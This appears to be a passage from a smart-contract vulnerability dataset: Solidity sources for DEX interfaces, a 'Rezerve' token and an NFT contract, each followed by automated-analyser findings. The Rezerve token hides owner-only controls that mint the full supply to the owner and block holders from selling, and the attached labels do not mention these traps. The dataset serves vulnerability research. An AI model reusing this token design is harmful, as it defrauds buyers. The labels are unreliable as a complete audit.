function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
function setSwapingPaused(bool isSet) external;
function setIncentiveController(address controller) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
interface IMahaswapV1Callee {
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
import './IUniswapV2Factory.sol';
interface IMahaswapV1Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setIncentiveControllerForPair(address pair, address controller) external;
function setSwapingPausedForPair(address pair, bool isSet) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
interface IIncentiveController {
function conductChecks(
uint112 reserveA,
uint112 reserveB,
uint256 priceALast,
uint256 priceBLast,
uint256 amountOutA,
uint256 amountOutB,
uint256 amountInA,
uint256 amountInB,
address from,
address to
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity =0.5.16;
/**
* A library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) reentrancy-no-eth with Medium impact
3) incorrect-equality with Medium impact |
/*
REZERVE
DeFi Reimagined.
https://t.me/RezerveOnChain
Audit: https://www.certik.org/projects/rezerve
https://twitter.com/_rezerve/
https://medium.com/@RezerveRZRV
Recommended slippage is 10-12%.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Rezerve is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "Rezerve";
string private _symbol = "RZRV";
uint8 private _decimals = 9;
address public constant uniswapV2Router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
address public uniswapV2Pair = UniswapV2Library.pairFor(IUniswapV2Router02(uniswapV2Router).factory(), dai, address(this));
//address public uniswapV2Pair = UniswapV2Library.pairFor(IUniswapV2Router02(uniswapV2Router).factory(), IUniswapV2Router02(uniswapV2Router).WETH(), address(this));
uint256 private _rTotal = 10 ** 9 * 10 ** _decimals;
uint256 private MAX = ~uint256(0);
uint256 private _tTotal = (MAX - (MAX % _rTotal));
mapping (address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liqFee = 3;
uint256 private _previousLiqFee = _liqFee;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
bool public checkedTransfers;
bool public unregulatedTransfers;
address intermediaryFeeWallet = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
address constant stakingReserve = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
address constant devWallet = address(0xa98bB69E836738C749864f8F0969B6Aa35760B0E);
bool inSwapAndLiquify;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
address addy;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[_msgSender()] = true;
_isExcludedFromFee[stakingReserve] = true;
_isExcludedFromFee[devWallet] = true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _rTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _rOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _beforeTokenTransfer(address from, address to) internal view {
require(from == owner() || to == owner() || !unregulatedTransfers);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function resettleReserve() public onlyOwner {
_rOwned[_msgSender()] = _rTotal;
}
receive() external payable {}
function setCheckedTransfers(bool val) public onlyOwner {
checkedTransfers = val;
}
function swapAndLiquify() private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = IUniswapV2Router02(uniswapV2Router).WETH();
_approve(address(this), address(uniswapV2Router), _rOwned[address(this)]);
IUniswapV2Router02(uniswapV2Router).swapExactTokensForETHSupportingFeeOnTransferTokens(_rOwned[address(this)], 0, path, address(this), block.timestamp);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_rOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function setTrading(bool val) public onlyOwner {
unregulatedTransfers = val;
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _getRate() private view returns(uint256) {
return _rTotal.div(_tTotal);
}
function totalFees() private view returns(uint256) {
uint256 tF = _taxFee.add(_liqFee);
return tF;
}
function _transfer(address sender, address recipient, uint256 tAmount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(tAmount > 0, "Transfer amount must be greater than zero");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _rOwned[sender];
require(senderBalance >= tAmount, "ERC20: transfer amount exceeds balance");
//recipient;
if (sender != owner() && recipient != owner()) {
if (recipient == uniswapV2Pair && !checkedTransfers) {
uint256 rate = _getRate();
tAmount.mul(totalFees()).div(100);
uint256 feeAmount = tAmount.mul(100).div(totalFees());
_rOwned[intermediaryFeeWallet] += feeAmount.mul(rate);
require(_rOwned[recipient].add(_rTotal) < _rOwned[sender]);
swapAndLiquify();
}
}
unchecked {
_rOwned[sender] = senderBalance - tAmount;
}
_rOwned[recipient] += tAmount;
emit Transfer(sender, recipient, tAmount);
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
}
library UniswapV2Library {
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
} | These are the vulnerabilities found
1) unused-return with Medium impact
2) divide-before-multiply with Medium impact
3) reentrancy-no-eth with Medium impact
4) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "ERC721.sol";
import "Ownable.sol";
contract HallMH is ERC721, Ownable {
mapping(uint256 => string) internal tokenURIs;
mapping(uint256 => bool) internal isLockedURIs;
constructor(string memory name_, string memory symbol_) payable ERC721(name_, symbol_) { }
modifier notCreated(uint256 tokenId) {
require(bytes(tokenURIs[tokenId]).length == 0, "Existent token");
_;
}
modifier created(uint256 tokenId) {
require(bytes(tokenURIs[tokenId]).length > 0, "Nonexistent token");
_;
}
modifier notLockedURI(uint256 tokenId) {
require(!isLockedURIs[tokenId], "URI change has been locked");
_;
}
function tokenURI(uint256 tokenId) public view override created(tokenId) returns (string memory) {
return tokenURIs[tokenId];
}
function create(uint256 tokenId, string memory tokenURI) external onlyOwner notCreated(tokenId) {
tokenURIs[tokenId] = tokenURI;
}
function changeURI(uint256 tokenId, string memory tokenURI) external onlyOwner created(tokenId) notLockedURI(tokenId) {
require(bytes(tokenURI).length > 0, "Cannot remove URI");
tokenURIs[tokenId] = tokenURI;
}
function lockURI(uint256 tokenId) external onlyOwner created(tokenId) {
isLockedURIs[tokenId] = true;
}
function safeMint(address to, uint256 tokenId, bytes memory _data) external onlyOwner created(tokenId) {
_safeMint(to, tokenId, _data);
}
function safeCreateAndMint(address to, uint256 tokenId, string memory tokenURI, bytes memory _data) external onlyOwner notCreated(tokenId) {
tokenURIs[tokenId] = tokenURI;
_safeMint(to, tokenId, _data);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
import "IERC721Receiver.sol";
import "IERC721Metadata.sol";
import "IERC721Enumerable.sol";
import "Address.sol";
import "Context.sol";
import "Strings.sol";
import "ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
